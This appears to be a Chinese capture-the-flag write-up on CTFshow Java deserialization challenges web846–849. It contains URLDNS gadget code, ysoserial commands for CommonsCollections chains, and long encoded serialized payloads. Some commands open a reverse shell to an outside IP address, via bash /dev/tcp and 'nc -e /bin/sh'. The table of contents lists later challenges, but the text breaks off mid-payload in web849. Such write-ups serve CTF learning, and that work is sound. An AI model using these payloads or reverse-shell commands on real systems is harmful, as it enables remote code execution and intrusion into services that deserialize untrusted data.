【Web】CTFSHOW java反序列化刷题记录(部分)

news2024/11/27 21:00:33

目录

web846

web847

web848

web849

web850

web856

web857

web858

web846

直接拿URLDNS链子打就行

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class URLDNS {
    public static void serialize(Object obj) throws IOException{
        ByteArrayOutputStream data =new ByteArrayOutputStream();
        ObjectOutput oos =new ObjectOutputStream(data);
        oos.writeObject(obj);
        oos.flush();
        oos.close();
        System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
    };

    public static void main(String[] args) throws Exception{
        URL url=new URL("http://68421999-595d-43ef-bbd8-f10c88147a01.challenge.ctf.show/");
        Class<?> c=url.getClass();
        Field hashcode=c.getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        hashcode.set(url,1);
        HashMap<URL,Integer> h = new HashMap<URL,Integer>();
        h.put(url,1);
        hashcode.set(url,-1);
        serialize(h);
    }
}

payload:

ctfshow=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QANzY4NDIxOTk5LTU5NWQtNDNlZi1iYmQ4LWYxMGM4ODE0N2EwMS5jaGFsbGVuZ2UuY3RmLnNob3d0AAEvcQB+AAV0AARodHRwcHhzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXg=

也可直接用ysoserial

java -jar ysoserial.jar URLDNS "http://712840a9-ddc9-49a5-9e08-b29d74fe9910.challenge.ctf.show/"|base64

web847

有关CC链：CC链 1-7 分析 - 先知社区

题目提示：

用CC1打就行

先生成反弹shell的payload:

java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}"|base64

生成的payload放bp自带的decoder里进行一次url全编码

get方式传参

监听，成功反弹shell

web848

TransformedMap也被ban了，CC1不能打了，换CC3

java -jar ysoserial.jar CommonsCollections3 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}"|base64

除了payload要post传参，get传参长度太长会报错，其他流程都一样

payload:

ctfshow=%72%4f%30%41%42%58%4e%79%41%44%4a%7a%64%57%34%75%63%6d%56%6d%62%47%56%6a%64%43%35%68%62%6d%35%76%64%47%46%30%61%57%39%75%4c%6b%46%75%62%6d%39%30%59%58%52%70%62%32%35%4a%62%6e%5a%76%59%32%46%30%61%57%39%75%53%47%46%75%5a%47%78%6c%63%6c%58%4b%39%51%38%56%79%33%36%6c%41%67%41%43%54%41%41%4d%62%57%56%74%59%6d%56%79%56%6d%46%73%64%57%56%7a%64%41%41%50%54%47%70%68%64%6d%45%76%64%58%52%70%62%43%39%4e%59%58%41%37%54%41%41%45%64%48%6c%77%5a%58%51%41%45%55%78%71%59%58%5a%68%4c%32%78%68%62%6d%63%76%51%32%78%68%63%33%4d%37%65%48%42%7a%66%51%41%41%41%41%45%41%44%57%70%68%64%6d%45%75%64%58%52%70%62%43%35%4e%59%58%42%34%63%67%41%58%61%6d%46%32%59%53%35%73%59%57%35%6e%4c%6e%4a%6c%5a%6d%78%6c%59%33%51%75%55%48%4a%76%65%48%6e%68%4a%39%6f%67%7a%42%42%44%79%77%49%41%41%55%77%41%41%57%68%30%41%43%56%4d%61%6d%46%32%59%53%39%73%59%57%35%6e%4c%33%4a%6c%5a%6d%78%6c%59%33%51%76%53%57%35%32%62%32%4e%68%64%47%6c%76%62%6b%68%68%62%6d%52%73%5a%58%49%37%65%48%42%7a%63%51%42%2b%41%41%42%7a%63%67%41%71%62%33%4a%6e%4c%6d%46%77%59%57%4e%6f%5a%53%35%6a%62%32%31%74%62%32%35%7a%4c%6d%4e%76%62%47%78%6c%59%33%52%70%62%32%35%7a%4c%6d%31%68%63%43%35%4d%59%58%70%35%54%57%46%77%62%75%57%55%67%70%35%35%45%4a%51%44%41%41%46%4d%41%41%64%6d%59%57%4e%30%62%33%4a%35%64%41%41%73%54%47%39%79%5a%79%39%68%63%47%46%6a%61%47%55%76%59%32%39%74%62%57%39%75%63%79%39%6a%62%32%78%73%5a%57%4e%30%61%57%39%75%63%79%39%55%63%6d%46%75%63%32%5a%76%63%6d%31%6c%63%6a%74%34%63%48%4e%79%41%44%70%76%63%6d%63%75%59%58%42%68%59%32%68%6c%4c%6d%4e%76%62%57%31%76%62%6e%4d%75%59%32%39%73%62%47%56%6a%64%47%6c%76%62%6e%4d%75%5a%6e%56%75%59%33%52%76%63%6e%4d%75%51%32%68%68%61%57%35%6c%5a%46%52%79%59%57%35%7a%5a%6d%39%79%62%57%56%79%4d%4d%65%58%37%43%68%36%6c%77%51%43%41%41%46%62%41%41%31%70%56%48%4a%68%62%6e%4e%6d%62%33%4a%74%5a%58%4a%7a%64%41%41%74%57%30%78%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%32%4e%76%62%57%31%76%62%6e%4d%76%59%32%39%73%62%47%56%6a%64%47%6c%76%62%6e%4d%76%56%48%4a%68%62%6e%4e%6d%62%33%4a%74%5a%58%49%37%65%48%42%31%63%67%41%74%57%30%78%76%63%6d%63%75%59%58%42%68%59%32%68%6c%4c%6d%4e%76%62%57%31%76%62%6e%4d%75%59%32%39%73%62%47%56%6a%64%47%6c%76%62%6e%4d%75%56%48%4a%68%62%6e%4e%6d%62%33%4a%74%5a%58%49%37%76%56%59%71%38%64%67%30%47%4a%6b%43%41%41%42%34%63%41%41%41%41%41%4a%7a%63%67%41%37%62%33%4a%6e%4c%6d%46%77%59%57%4e%6f%5a%53%35%6a%62%32%31%74%62%32%35%7a%4c%6d%4e%76%62%47%78%6c%59%33%52%70%62%32%35%7a%4c%6d%5a%31%62%6d%4e%30%62%33%4a%7a%4c%6b%4e%76%62%6e%4e%30%59%57%35%30%56%48%4a%68%62%6e%4e%6d%62%33%4a%74%5a%58%4a%59%64%70%41%52%51%51%4b%78%6c%41%49%41%41%55%77%41%43%57%6c%44%62%32%35%7a%64%47%46%75%64%48%51%41%45%6b%78%71%59%58%5a%68%4c%32%78%68%62%6d%63%76%54%32%4a%71%5a%57%4e%30%4f%33%68%77%64%6e%49%41%4e%32%4e%76%62%53%35%7a%64%57%34%75%62%33%4a%6e%4c%6d%46%77%59%57%4e%6f%5a%53%35%34%59%57%78%68%62%69%35%70%62%6e%52%6c%63%6d%35%68%62%43%35%34%63%32%78%30%59%79%35%30%63%6d%46%34%4c%6c%52%79%51%56%68%47%61%57%78%30%5a%58%49%41%41%41%41%41%41%41%41%41%41%41%41%41%41%48%68%77%63%33%49%41%50%6d%39%79%5a%79%35%68%63%47%46%6a%61%47%55%75%59%32%39%74%62%57%39%75%63%79%35%6a%62%32%78%73%5a%57%4e%30%61%57%39%75%63%79%35%6d%64%57%35%6a%64%47%39%79%63%79%35%4a%62%6e%4e%30%59%57%35%30%61%57%46%30%5a%56%52%79%59%57%35%7a%5a%6d%39%79%62%57%56%79%4e%49%76%30%66%36%53%47%30%44%73%43%41%41%4a%62%41%41%56%70%51%58%4a%6e%63%33%51%41%45%31%74%4d%61%6d%46%32%59%53%39%73%59%57%35%6e%4c%30%39%69%61%6d%56%6a%64%44%74%62%41%41%74%70%55%47%46%79%59%57%31%55%65%58%42%6c%63%33%51%41%45%6c%74%4d%61%6d%46%32%59%53%39%73%59%57%35%6e%4c%30%4e%73%59%58%4e%7a%4f%33%68%77%64%58%49%41%45%31%74%4d%61%6d%46%32%59%53%35%73%59%57%35%6e%4c%6b%39%69%61%6d%56%6a%64%44%75%51%7a%6c%69%66%45%48%4d%70%62%41%49%41%41%48%68%77%41%41%41%41%41%58%4e%79%41%44%70%6a%62%32%30%75%63%33%56%75%4c%6d%39%79%5a%79%35%68%63%47%46%6a%61%47%55%75%65%47%46%73%59%57%34%75%61%57%35%30%5a%58%4a%75%59%57%77%75%65%48%4e%73%64%47%4d%75%64%48%4a%68%65%43%35%55%5a%57%31%77%62%47%46%30%5a%58%4e%4a%62%58%42%73%43%56%64%50%77%57%36%73%71%7a%4d%44%41%41%5a%4a%41%41%31%66%61%57%35%6b%5a%57%35%30%54%6e%56%74%59%6d%56%79%53%51%41%4f%58%33%52%79%59%57%35%7a%62%47%56%30%53%57%35%6b%5a%58%68%62%41%41%70%66%59%6e%6c%30%5a%57%4e%76%5a%47%56%7a%64%41%41%44%57%31%74%43%57%77%41%47%58%32%4e%73%59%58%4e%7a%63%51%42%2b%41%42%68%4d%41%41%56%66%62%6d%46%74%5a%58%51%41%45%6b%78%71%59%58%5a%68%4c%32%78%68%62%6d%63%76%55%33%52%79%61%57%35%6e%4f%30%77%41%45%56%39%76%64%58%52%77%64%58%52%51%63%6d%39%77%5a%58%4a%30%61%57%56%7a%64%41%41%57%54%47%70%68%64%6d%45%76%64%58%52%70%62%43%39%51%63%6d%39%77%5a%58%4a%30%61%57%56%7a%4f%33%68%77%41%41%41%41%41%50%2f%2f%2f%2f%39%31%63%67%41%44%57%31%74%43%53%2f%30%5a%46%57%64%6e%32%7a%63%43%41%41%42%34%63%41%41%41%41%41%4a%31%63%67%41%43%57%30%4b%73%38%78%66%34%42%67%68%55%34%41%49%41%41%48%68%77%41%41%41%47%2b%63%72%2b%75%72%34%41%41%41%41%79%41%44%6b%4b%41%41%4d%41%49%67%63%41%4e%77%63%41%4a%51%63%41%4a%67%45%41%45%48%4e%6c%63%6d%6c%68%62%46%5a%6c%63%6e%4e%70%62%32%35%56%53%55%51%42%41%41%46%4b%41%51%41%4e%51%32%39%75%63%33%52%68%62%6e%52%57%59%57%78%31%5a%51%57%74%49%4a%50%7a%6b%64%33%76%50%67%45%41%42%6a%78%70%62%6d%6c%30%50%67%45%41%41%79%67%70%56%67%45%41%42%45%4e%76%5a%47%55%42%41%41%39%4d%61%57%35%6c%54%6e%56%74%59%6d%56%79%56%47%46%69%62%47%55%42%41%42%4a%4d%62%32%4e%68%62%46%5a%68%63%6d%6c%68%59%6d%78%6c%56%47%46%69%62%47%55%42%41%41%52%30%61%47%6c%7a%41%51%41%54%55%33%52%31%59%6c%52%79%59%57%35%7a%62%47%56%30%55%47%46%35%62%47%39%68%5a%41%45%41%44%45%6c%75%62%6d%56%79%51%32%78%68%63%33%4e%6c%63%77%45%41%4e%55%78%35%63%32%39%7a%5a%58%4a%70%59%57%77%76%63%47%46%35%62%47%39%68%5a%48%4d%76%64%58%52%70%62%43%39%48%59%57%52%6e%5a%58%52%7a%4a%46%4e%30%64%57%4a%55%63%6d%46%75%63%32%78%6c%64%46%42%68%65%57%78%76%59%57%51%37%41%51%41%4a%64%48%4a%68%62%6e%4e%6d%62%33%4a%74%41%51%42%79%4b%45%78%6a%62%32%30%76%63%33%56%75%4c%32%39%79%5a%79%39%68%63%47%46%6a%61%47%55%76%65%47%46%73%59%57%34%76%61%57%35%30%5a%58%4a%75%59%57%77%76%65%48%4e%73%64%47%4d%76%52%45%39%4e%4f%31%74%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%74%62%43%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%7a%5a%58%4a%70%59%57%78%70%65%6d%56%79%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%58%52%70%62%32%35%49%59%57%35%6b%62%47%56%79%4f%79%6c%57%41%51%41%49%5a%47%39%6a%64%57%31%6c%62%6e%51%42%41%43%31%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%68%62%47%46%75%4c%32%6c%75%64%47%56%79%62%6d%46%73%4c%33%68%7a%62%48%52%6a%4c%30%52%50%54%54%73%42%41%41%68%6f%59%57%35%6b%62%47%56%79%63%77%45%41%51%6c%74%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%74%62%43%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%7a%5a%58%4a%70%59%57%78%70%65%6d%56%79%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%58%52%70%62%32%35%49%59%57%35%6b%62%47%56%79%4f%77%45%41%43%6b%56%34%59%32%56%77%64%47%6c%76%62%6e%4d%48%41%43%63%42%41%4b%59%6f%54%47%4e%76%62%53%39%7a%64%57%34%76%62%33%4a%6e%4c%32%46%77%59%57%4e%6f%5a%53%39%34%59%57%78%68%62%69%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%34%63%32%78%30%59%79%39%45%54%30%30%37%54%47%4e%76%62%53%39%7a%64%57%34%76%62%33%4a%6e%4c%32%46%77%59%57%4e%6f%5a%53%39%34%62%57%77%76%61%57%35%30%5a%58%4a%75%59%57%77%76%5a%48%52%74%4c%30%52%55%54%55%46%34%61%58%4e%4a%64%47%56%79%59%58%52%76%63%6a%74%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%74%62%43%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%7a%5a%58%4a%70%59%57%78%70%65%6d%56%79%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%58%52%70%62%32%35%49%59%57%35%6b%62%47%56%79%4f%79%6c%57%41%51%41%49%61%58%52%6c%63%6d%46%30%62%33%49%42%41%44%56%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%74%62%43%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%6b%64%47%30%76%52%46%52%4e%51%58%68%70%63%30%6c%30%5a%58%4a%68%64%47%39%79%4f%77%45%41%42%32%68%68%62%6d%52%73%5a%58%49%42%41%45%46%4d%59%32%39%74%4c%33%4e%31%62%69%39%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%33%68%74%62%43%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%7a%5a%58%4a%70%59%57%78%70%65%6d%56%79%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%58%52%70%62%32%35%49%59%57%35%6b%62%47%56%79%4f%77%45%41%43%6c%4e%76%64%58%4a%6a%5a%55%5a%70%62%47%55%42%41%41%78%48%59%57%52%6e%5a%58%52%7a%4c%6d%70%68%64%6d%45%4d%41%41%6f%41%43%77%63%41%4b%41%45%41%4d%33%6c%7a%62%33%4e%6c%63%6d%6c%68%62%43%39%77%59%58%6c%73%62%32%46%6b%63%79%39%31%64%47%6c%73%4c%30%64%68%5a%47%64%6c%64%48%4d%6b%55%33%52%31%59%6c%52%79%59%57%35%7a%62%47%56%30%55%47%46%35%62%47%39%68%5a%41%45%41%51%47%4e%76%62%53%39%7a%64%57%34%76%62%33%4a%6e%4c%32%46%77%59%57%4e%6f%5a%53%39%34%59%57%78%68%62%69%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%34%63%32%78%30%59%79%39%79%64%57%35%30%61%57%31%6c%4c%30%46%69%63%33%52%79%59%57%4e%30%56%48%4a%68%62%6e%4e%73%5a%58%51%42%41%42%52%71%59%58%5a%68%4c%32%6c%76%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%57%4a%73%5a%51%45%41%4f%57%4e%76%62%53%39%7a%64%57%34%76%62%33%4a%6e%4c%32%46%77%59%57%4e%6f%5a%53%39%34%59%57%78%68%62%69%39%70%62%6e%52%6c%63%6d%35%68%62%43%39%34%63%32%78%30%59%79%39%55%63%6d%46%75%63%32%78%6c%64%45%56%34%59%32%56%77%64%47%6c%76%62%67%45%41%48%33%6c%7a%62%33%4e%6c%63%6d%6c%68%62%43%39%77%59%58%6c%73%62%32%46%6b%63%79%39%31%64%47%6c%73%4c%30%64%68%5a%47%64%6c%64%48%4d%42%41%41%67%38%59%32%78%70%62%6d%6c%30%50%67%45%41%45%57%70%68%64%6d%45%76%62%47%46%75%5a%79%39%53%64%57%35%30%61%57%31%6c%42%77%41%71%41%51%41%4b%5a%32%56%30%55%6e%56%75%64%47%6c%74%5a%51%45%41%46%53%67%70%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%53%64%57%35%30%61%57%31%6c%4f%77%77%41%4c%41%41%74%43%67%41%72%41%43%34%42%41%47%46%69%59%58%4e%6f%49%43%31%6a%49%48%74%6c%59%32%68%76%4c%46%6c%74%52%6e%70%68%51%30%46%30%59%56%4e%42%4b%30%70%70%51%58%5a%61%52%31%59%79%54%44%4e%53%61%6d%4e%44%4f%48%68%4e%61%6c%46%31%54%57%70%4a%65%55%78%71%52%58%70%4f%61%54%52%36%54%58%6b%34%65%45%31%36%54%54%4e%4a%52%45%45%72%53%6d%70%46%50%58%31%38%65%32%4a%68%63%32%55%32%4e%43%77%74%5a%48%31%38%65%32%4a%68%63%32%67%73%4c%57%6c%39%43%41%41%77%41%51%41%45%5a%58%68%6c%59%77%45%41%4a%79%68%4d%61%6d%46%32%59%53%39%73%59%57%35%6e%4c%31%4e%30%63%6d%6c%75%5a%7a%73%70%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%51%63%6d%39%6a%5a%58%4e%7a%4f%77%77%41%4d%67%41%7a%43%67%41%72%41%44%51%42%41%41%31%54%64%47%46%6a%61%30%31%68%63%46%52%68%59%6d%78%6c%41%51%41%66%65%58%4e%76%63%32%56%79%61%57%46%73%4c%31%42%33%62%6d%56%79%4d%54%45%30%4e%44%63%78%4d%6a%51%35%4d%7a%41%32%4d%54%45%34%4d%67%45%41%49%55%78%35%63%32%39%7a%5a%58%4a%70%59%57%77%76%55%48%64%75%5a%58%49%78%4d%54%51%30%4e%7a%45%79%4e%44%6b%7a%4d%44%59%78%4d%54%67%79%4f%77%41%68%41%41%49%41%41%77%41%42%41%41%51%41%41%51%41%61%41%41%55%41%42%67%41%42%41%41%63%41%41%41%41%43%41%41%67%41%42%41%41%42%41%41%6f%41%43%77%41%42%41%41%77%41%41%41%41%76%41%41%45%41%41%51%41%41%41%41%55%71%74%77%41%42%73%51%41%41%41%41%49%41%44%51%41%41%41%41%59%41%41%51%41%41%41%43%38%41%44%67%41%41%41%41%77%41%41%51%41%41%41%41%55%41%44%77%41%34%41%41%41%41%41%51%41%54%41%42%51%41%41%67%41%4d%41%41%41%41%50%77%41%41%41%41%4d%41%41%41%41%42%73%51%41%41%41%41%49%41%44%51%41%41%41%41%59%41%41%51%41%41%41%44%51%41%44%67%41%41%41%43%41%41%41%77%41%41%41%41%45%41%44%77%41%34%41%41%41%41%41%41%41%42%41%42%55%41%46%67%41%42%41%41%41%41%41%51%41%58%41%42%67%41%41%67%41%5a%41%41%41%41%42%41%41%42%41%42%6f%41%41%51%41%54%41%42%73%41%41%67%41%4d%41%41%41%41%53%51%41%41%41%41%51%41%41%41%41%42%73%51%41%41%41%41%49%41%44%51%41%41%41%41%59%41%41%51%41%41%41%44%67%41%44%67%41%41%41%43%6f%41%42%41%41%41%41%41%45%41%44%77%41%34%41%41%41%41%41%41%41%42%41%42%55%41%46%67%41%42%41%41%41%41%41%51%41%63%41%42%30%41%41%67%41%41%41%41%45%41%48%67%41%66%41%41%4d%41%47%51%41%41%41%41%51%41%41%51%41%61%41%41%67%41%4b%51%41%4c%41%41%45%41%44%41%41%41%41%43%51%41%41%77%41%43%41%41%41%41%44%36%63%41%41%77%46%4d%75%41%41%76%45%6a%47%32%41%44%56%58%73%51%41%41%41%41%45%41%4e%67%41%41%41%41%4d%41%41%51%4d%41%41%67%41%67%41%41%41%41%41%67%41%68%41%42%45%41%41%41%41%4b%41%41%45%41%41%67%41%6a%41%42%41%41%43%58%56%78%41%48%34%41%49%77%41%41%41%64%54%4b%2f%72%71%2b%41%41%41%41%4d%67%41%62%43%67%41%44%41%42%55%48%41%42%63%48%41%42%67%48%41%42%6b%42%41%42%42%7a%5a%58%4a%70%59%57%78%57%5a%58%4a%7a%61%57%39%75%56%55%6c%45%41%51%41%42%53%67%45%41%44%55%4e%76%62%6e%4e%30%59%57%35%30%56%6d%46%73%64%57%55%46%63%65%5a%70%37%6a%78%74%52%78%67%42%41%41%59%38%61%57%35%70%64%44%34%42%41%41%4d%6f%4b%56%59%42%41%41%52%44%62%32%52%6c%41%51%41%50%54%47%6c%75%5a%55%35%31%62%57%4a%6c%63%6c%52%68%59%6d%78%6c%41%51%41%53%54%47%39%6a%59%57%78%57%59%58%4a%70%59%57%4a%73%5a%56%52%68%59%6d%78%6c%41%51%41%45%64%47%68%70%63%77%45%41%41%30%5a%76%62%77%45%41%44%45%6c%75%62%6d%56%79%51%32%78%68%63%33%4e%6c%63%77%45%41%4a%55%78%35%63%32%39%7a%5a%58%4a%70%59%57%77%76%63%47%46%35%62%47%39%68%5a%48%4d%76%64%58%52%70%62%43%39%48%59%57%52%6e%5a%58%52%7a%4a%45%5a%76%62%7a%73%42%41%41%70%54%62%33%56%79%59%32%56%47%61%57%78%6c%41%51%41%4d%52%32%46%6b%5a%32%56%30%63%79%35%71%59%58%5a%68%44%41%41%4b%41%41%73%48%41%42%6f%42%41%43%4e%35%63%32%39%7a%5a%58%4a%70%59%57%77%76%63%47%46%35%62%47%39%68%5a%48%4d%76%64%58%52%70%62%43%39%48%59%57%52%6e%5a%58%52%7a%4a%45%5a%76%62%77%45%41%45%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%50%59%6d%70%6c%59%33%51%42%41%42%52%71%59%58%5a%68%4c%32%6c%76%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%57%4a%73%5a%51%45%41%48%33%6c%7a%62%33%4e%6c%63%6d%6c%68%62%43%39%77%59%58%6c%73%62%32%46%6b%63%79%39%31%64%47%6c%73%4c%30%64%68%5a%47%64%6c%64%48%4d%41%49%51%41%43%41%41%4d%41%41%51%41%45%41%41%45%41%47%67%41%46%41%41%59%41%41%51%41%48%41%41%41%41%41%67%41%49%41%41%45%41%41%51%41%4b%41%41%73%41%41%51%41%4d%41%41%41%41%4c%77%41%42%41%41%45%41%41%41%41%46%4b%72%63%41%41%62%45%41%41%41%41%43%41%41%30%41%41%41%41%47%41%41%45%41%41%41%41%38%41%41%34%41%41%41%41%4d%41%41%45%41%41%41%41%46%41%41%38%41%45%67%41%41%41%41%49%41%45%77%41%41%41%41%49%41%46%41%41%52%41%41%41%41%43%67%41%42%41%41%49%41%46%67%41%51%41%41%6c%77%64%41%41%45%55%48%64%75%63%6e%42%33%41%51%42%34%64%58%49%41%45%6c%74%4d%61%6d%46%32%59%53%35%73%59%57%35%6e%4c%6b%4e%73%59%58%4e%7a%4f%36%73%57%31%36%37%4c%7a%56%71%5a%41%67%41%41%65%48%41%41%41%41%41%42%64%6e%49%41%48%57%70%68%64%6d%46%34%4c%6e%68%74%62%43%35%30%63%6d%46%75%63%32%5a%76%63%6d%30%75%56%47%56%74%63%47%78%68%64%47%56%7a%41%41%41%41%41%41%41%41%41%41%41%41%41%41%42%34%63%48%4e%79%41%42%46%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%53%47%46%7a%61%45%31%68%63%41%55%48%32%73%48%44%46%6d%44%52%41%77%41%43%52%67%41%4b%62%47%39%68%5a%45%5a%68%59%33%52%76%63%6b%6b%41%43%58%52%6f%63%6d%56%7a%61%47%39%73%5a%48%68%77%50%30%41%41%41%41%41%41%41%41%42%33%43%41%41%41%41%42%41%41%41%41%41%41%65%48%68%32%63%67%41%53%61%6d%46%32%59%53%35%73%59%57%35%6e%4c%6b%39%32%5a%58%4a%79%61%57%52%6c%41%41%41%41%41%41%41%41%41%41%41%41%41%41%42%34%63%48%45%41%66%67%41%75

web849

 用CC2打

然后用nc来反弹shell

nc 124.222.136.33 1337 -e /bin/sh
java -jar ysoserial.jar CommonsCollections2 "nc 124.222.136.33 1337 -e /bin/sh "|base64

最终payload:

ctfshow=%72%4f%30%41%42%58%4e%79%41%42%64%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%55%48%4a%70%62%33%4a%70%64%48%6c%52%64%57%56%31%5a%5a%54%61%4d%4c%54%37%50%34%4b%78%41%77%41%43%53%51%41%45%63%32%6c%36%5a%55%77%41%43%6d%4e%76%62%58%42%68%0a%63%6d%46%30%62%33%4a%30%41%42%5a%4d%61%6d%46%32%59%53%39%31%64%47%6c%73%4c%30%4e%76%62%58%42%68%63%6d%46%30%62%33%49%37%65%48%41%41%41%41%41%43%63%33%49%41%51%6d%39%79%5a%79%35%68%63%47%46%6a%61%47%55%75%59%32%39%74%62%57%39%75%0a%63%79%35%6a%62%32%78%73%5a%57%4e%30%61%57%39%75%63%7a%51%75%59%32%39%74%63%47%46%79%59%58%52%76%63%6e%4d%75%56%48%4a%68%62%6e%4e%6d%62%33%4a%74%61%57%35%6e%51%32%39%74%63%47%46%79%59%58%52%76%63%69%2f%35%68%50%41%72%73%51%6a%4d%0a%41%67%41%43%54%41%41%4a%5a%47%56%6a%62%33%4a%68%64%47%56%6b%63%51%42%2b%41%41%46%4d%41%41%74%30%63%6d%46%75%63%32%5a%76%63%6d%31%6c%63%6e%51%41%4c%55%78%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%32%4e%76%62%57%31%76%62%6e%4d%76%0a%59%32%39%73%62%47%56%6a%64%47%6c%76%62%6e%4d%30%4c%31%52%79%59%57%35%7a%5a%6d%39%79%62%57%56%79%4f%33%68%77%63%33%49%41%51%47%39%79%5a%79%35%68%63%47%46%6a%61%47%55%75%59%32%39%74%62%57%39%75%63%79%35%6a%62%32%78%73%5a%57%4e%30%0a%61%57%39%75%63%7a%51%75%59%32%39%74%63%47%46%79%59%58%52%76%63%6e%4d%75%51%32%39%74%63%47%46%79%59%57%4a%73%5a%55%4e%76%62%58%42%68%63%6d%46%30%62%33%4c%37%39%4a%6b%6c%75%47%36%78%4e%77%49%41%41%48%68%77%63%33%49%41%4f%32%39%79%0a%5a%79%35%68%63%47%46%6a%61%47%55%75%59%32%39%74%62%57%39%75%63%79%35%6a%62%32%78%73%5a%57%4e%30%61%57%39%75%63%7a%51%75%5a%6e%56%75%59%33%52%76%63%6e%4d%75%53%57%35%32%62%32%74%6c%63%6c%52%79%59%57%35%7a%5a%6d%39%79%62%57%56%79%0a%68%2b%6a%2f%61%33%74%38%7a%6a%67%43%41%41%4e%62%41%41%56%70%51%58%4a%6e%63%33%51%41%45%31%74%4d%61%6d%46%32%59%53%39%73%59%57%35%6e%4c%30%39%69%61%6d%56%6a%64%44%74%4d%41%41%74%70%54%57%56%30%61%47%39%6b%54%6d%46%74%5a%58%51%41%0a%45%6b%78%71%59%58%5a%68%4c%32%78%68%62%6d%63%76%55%33%52%79%61%57%35%6e%4f%31%73%41%43%32%6c%51%59%58%4a%68%62%56%52%35%63%47%56%7a%64%41%41%53%57%30%78%71%59%58%5a%68%4c%32%78%68%62%6d%63%76%51%32%78%68%63%33%4d%37%65%48%42%31%0a%63%67%41%54%57%30%78%71%59%58%5a%68%4c%6d%78%68%62%6d%63%75%54%32%4a%71%5a%57%4e%30%4f%35%44%4f%57%4a%38%51%63%79%6c%73%41%67%41%41%65%48%41%41%41%41%41%41%64%41%41%4f%62%6d%56%33%56%48%4a%68%62%6e%4e%6d%62%33%4a%74%5a%58%4a%31%0a%63%67%41%53%57%30%78%71%59%58%5a%68%4c%6d%78%68%62%6d%63%75%51%32%78%68%63%33%4d%37%71%78%62%58%72%73%76%4e%57%70%6b%43%41%41%42%34%63%41%41%41%41%41%42%33%42%41%41%41%41%41%4e%7a%63%67%41%36%59%32%39%74%4c%6e%4e%31%62%69%35%76%0a%63%6d%63%75%59%58%42%68%59%32%68%6c%4c%6e%68%68%62%47%46%75%4c%6d%6c%75%64%47%56%79%62%6d%46%73%4c%6e%68%7a%62%48%52%6a%4c%6e%52%79%59%58%67%75%56%47%56%74%63%47%78%68%64%47%56%7a%53%57%31%77%62%41%6c%58%54%38%46%75%72%4b%73%7a%0a%41%77%41%47%53%51%41%4e%58%32%6c%75%5a%47%56%75%64%45%35%31%62%57%4a%6c%63%6b%6b%41%44%6c%39%30%63%6d%46%75%63%32%78%6c%64%45%6c%75%5a%47%56%34%57%77%41%4b%58%32%4a%35%64%47%56%6a%62%32%52%6c%63%33%51%41%41%31%74%62%51%6c%73%41%0a%42%6c%39%6a%62%47%46%7a%63%33%45%41%66%67%41%4c%54%41%41%46%58%32%35%68%62%57%56%78%41%48%34%41%43%6b%77%41%45%56%39%76%64%58%52%77%64%58%52%51%63%6d%39%77%5a%58%4a%30%61%57%56%7a%64%41%41%57%54%47%70%68%64%6d%45%76%64%58%52%70%0a%62%43%39%51%63%6d%39%77%5a%58%4a%30%61%57%56%7a%4f%33%68%77%41%41%41%41%41%50%2f%2f%2f%2f%39%31%63%67%41%44%57%31%74%43%53%2f%30%5a%46%57%64%6e%32%7a%63%43%41%41%42%34%63%41%41%41%41%41%4a%31%63%67%41%43%57%30%4b%73%38%78%66%34%0a%42%67%68%55%34%41%49%41%41%48%68%77%41%41%41%47%75%73%72%2b%75%72%34%41%41%41%41%79%41%44%6b%4b%41%41%4d%41%49%67%63%41%4e%77%63%41%4a%51%63%41%4a%67%45%41%45%48%4e%6c%63%6d%6c%68%62%46%5a%6c%6